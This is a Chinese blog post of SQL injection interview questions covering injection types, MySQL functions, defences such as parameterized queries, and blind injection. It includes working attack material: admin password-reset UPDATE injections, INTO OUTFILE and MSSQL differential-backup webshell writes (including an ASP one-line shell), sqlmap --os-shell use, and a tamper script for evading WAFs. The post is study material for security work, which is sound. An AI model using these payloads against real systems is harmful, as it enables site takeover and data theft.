本篇文章主要收集和SQL注入相关的面试题,持续更新,当然由于博主的时间不太充裕,可能更新会不是很及时,但是相信我,再晚,他都会来!
特别要求各位读者朋友关注我的博客,或者关注我的微信公众号:小白学IT
1、mysql:3306
2、sqlserver(mssql):1433
3、oracle:1521
4、postgreSQL:5432
5、db2:50000
1、登录模块的注入漏洞可以利用万能密码绕过登录认证
2、获取数据(脱库),可以查找出管理员账户密码
3、读取文件内容、向服务器写文件(写webshell,网站被植入木马)
4、破坏数据库,使网站奔溃
1、按注入点数据类型分类:数字型、字符型
2、按数据传参方式分类:GET注入、POST注入、header头注入(cookie注入、host注入、user-agent注入、referer注入…)
3、按执行效果分类:union注入攻击、Boolean注入攻击-布尔盲注、报错注入攻击、时间注入攻击-时间盲注、堆叠查询注入攻击、二次注入攻击、宽字节注入攻击…
database() 返回当前数据库名
user() 返回当前数据库用户名,可替代函数:@@user
updatexml() 更新xml文档,常用于报错注入,可替代函数:extractvalue()
mid() 从指定字段中提取出字段的内容
limit() 返回结果中的前几条数据或者中间的数据
concat() 返回参数产生的字符串
group_concat() 分组拼接函数 ,可替代函数:concat_ws()
count() 返回指定参数的数目
rand() 参数0~1个随机数
flood() 向下取整
substr() 截取字符串 ,可替代函数:substring() mid()
ascii() 返回字符串的ascii码
left() 返回字符串最左边指定个数的字符
ord() 返回字符的ascii码
length() 返回字符串长度
sleep() 延时函数
1、使用安全的API
2、对输入的特殊字符进行Escape转义处理
3、使用白名单规范用户输入
4、使用黑名单规范用户输入,如不允许用户输入select等SQL类字符串
5、服务器端在提交数据库进行SQL查询前,对 特殊字符进行过滤、转义、替换、删除操作
6、所有的SQL语句采用预编译和绑定变量
7、使用安全设备进行防护,如WAF
1、宽字节注入
2、hex编码绕过
使用参数化(预编译、绑定变量)查询时,数据库先进行SQL语句编译(已确定要运行SQL语句的语义),再套用绑定的参数值。也就是说使用了参数化查询后,参数的值不会改变SQL语句的语义,数据库只会按编译的SQL语句语义执行。
1、mysql5.0以下没有information_schema库,不能列表名,只能暴力跑表名
2、mysql5.0以下是多用户单操作
3、mysql5.0以上是多用户多操作
1、盲注是在进行SQL注入时,页面没有将SQL语句的执行结果在页面展示(回显),只能单纯的通过服务器返回的内容变化、响应时间来判断是否存在SQL注入和利用方式。
2、booleab-based(布尔盲注)通过页面返回内容是否正确来判断是否存在注入
3、time-based(时间(延时)注入)通过服务器响应时间的不同(SQL语句的执行长短)来判断注入,可以通过benchmark、sleep等函数造成延时效果,也可以通过构造大笛卡尔积的联合查询表来达到延时的效果。
字节基础:
(1)单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127);(2)多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。
原理:
宽字节注入主要利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字,当php中addslash和magic_quotes_gpc开启时,会对单引号(0x27)进行转义,形成’的形式,\的16进制编码是0x5c,当使用GBK编码时,0x5c前如果出现类似0xdf之类的字符,就会结合形成一个汉字,结果就是0xdf5c27,而0xdf5c会结合成一个汉字,后面的引号(27)自然就再次生效(转义失效,被df吃掉了),这就是宽字节注入的原理。
根本原因
character_set_client(客户端字符集)和character_set_connection(连接层的字符集)不同,或转换函数使用不当,如iconv、mc_convert_encoding。
解决方法
(1)使用mysql_set_charset(GBK)指定字符集
(2)使用mysql_real_escape_string进行转义
mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,因为在使用mysql_real_escape_string之前必须使用mysql_set_charset去指定字符集。
通过sleep()构造payload,如果出现响应时间不一致可能存在延时注入。
如’ and sleep(5) --+ 如果页面响应时间超过秒,则存在延时注入
使用dnslog辅助盲注
假设具有注入的sql语句如下:
update user set password='md5($passwd)',page='$page' where id='$id'
思路:既然是update类型的注入,那么思路就是直接修改某些东西,当然实际操作可能有一定困难,但是这里主要讲思路。
当注入点在passwd时,思路sql语句:
更改任意用户密码
update set password='md5($passwd)' where username='admin'#',page='$page' where id='$id'
当注入点在page时,思路sql语句
更改用户级别
update user set password='md5($passwd)',page='$page', userlevel='1' where id='$id'
当注入点在id时,思路sql语句
直接修改任意用户密码
update user set password='md5($passwd)',page='$page' where id='' or username='admin'
test.php?id=AnjNjndm==
参数id很有可能进行了base64编码,如果确认了是base64编码,我们将我们的测试payload进行base64编码后再进行测试
1、具有写权限,直接sqlmap --os-shell获取shell (当然可以手动写)
2、拉取数据,获取网站账户(最好有管理员账户),通过后台结合上传类漏洞getshell。
第一种优先级最高,最快速,但是需要视具体情况进行定夺。
-u 指定url
-r 指定请求数据包的文本文件
-m 批量跑get注入
–current-db 获取当前数据库
–table 获取指定数据库下的数据表
–tamper 指定tamper脚本,进行bypass
–os-shell 获取shell
–random-agent 随机指定user-agent
注:只列举这么多,具体情况看个人对sqlmap的熟悉情况,没事儿多用。
1、get类型注入,直接sqlmap -u url地址
2、post类型,(1)sqlmap -u url --data=post的参数 (2)sqlmap -r 请求数据包的文件地址
3、header注入,sqlmap -r 请求数据包的文件地址
注:在进行post注入或header注入时,可以使用*标记注入点
1、需要当前数据库用户具备管理员权限
2、需要知道网站绝对路径
3、需要网站可写目录
4、mysql需要配置secure_file_priv为空
示例:
d=1' and 1=2 union select 1,2,'shell内容' into outfile "/www//site//shell.php" %23
注:使用sqlmap --os-shell更直接
MySQL支持用户自定义函数,恶意用户将含有自定义函数的dll放入特定的文件夹,申明引入中引入的执行函数,使用执行的函数执行系统命令
前提条件:
1、MSSQL具体dbo和sa权限(数据库备份权限)
2、支持堆叠查询
3、知道网站绝对路径
实现原理
完整备份后,再次对数据库进行修改,差异备份会记录最后的LSN,将shell写入数据库,备份成asp即可getshell。
1.完整备份一次
backup database 库名 to disk =
'c:\ddd.bak';--
2.创建表并插入数据
create table [dbo].[dtest] ([cmd]
[image]);--
insert into dtest(cmd)
values(0x3C25657865637574652872657175657374282261222929253E);--
0x3C25657865637574652872657175657374282261222929253E,这就是小马内容:<%execute(request(“a”))%>
3.进行差异备份
backup
database 库名 to disk='目标位置\d.asp' WITH
DIFFERENTIAL,FORMAT;--
1、内联注释绕过
2、填充脏数据绕过
3、更改请求方式,如GET改为POST
4、随机agent绕过
5、fuzz过滤函数,函数替换绕过
6、sqlmap,tamper脚本绕过----上述思路
tamper脚本编写模板
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
pass
PROIORITY
用于定义tamper优先级,当调用多个tamper时生效,优先级如下,数值越大优先级越高
LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 100
dependencies
用于提示用户tamper适用范围,具体代码如下:
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("过狗tamper '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
DBMS.MYSQL代表MYSQL,其他数据库类推
tamper关键函数,用于定义过滤规则,示例代码如下:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!29450AND*/')
payload=payload.replace('ORDER','/*!29450order*/')
payload=payload.replace('LIKE USER()','like (user/**/())')
payload=payload.replace('DATABASE()','database/*!29450*/()')
payload=payload.replace('CURRENT_USER()','CURRENT_USER/**/()')
payload=payload.replace('SESSION_USER()','SESSION_USER(%0a)')
payload=payload.replace('UNION ALL SELECT','union/*!29450select*/')
payload=payload.replace('super_priv','/*!29450/**/super_priv*/')
payload=payload.replace('and host=','/*!29450and*/host/*!11440=*/')
payload=payload.replace('BENCHMARK(','BENCHMARK/*!29450*/(')
payload=payload.replace('SLEEP(','sleep/**/(')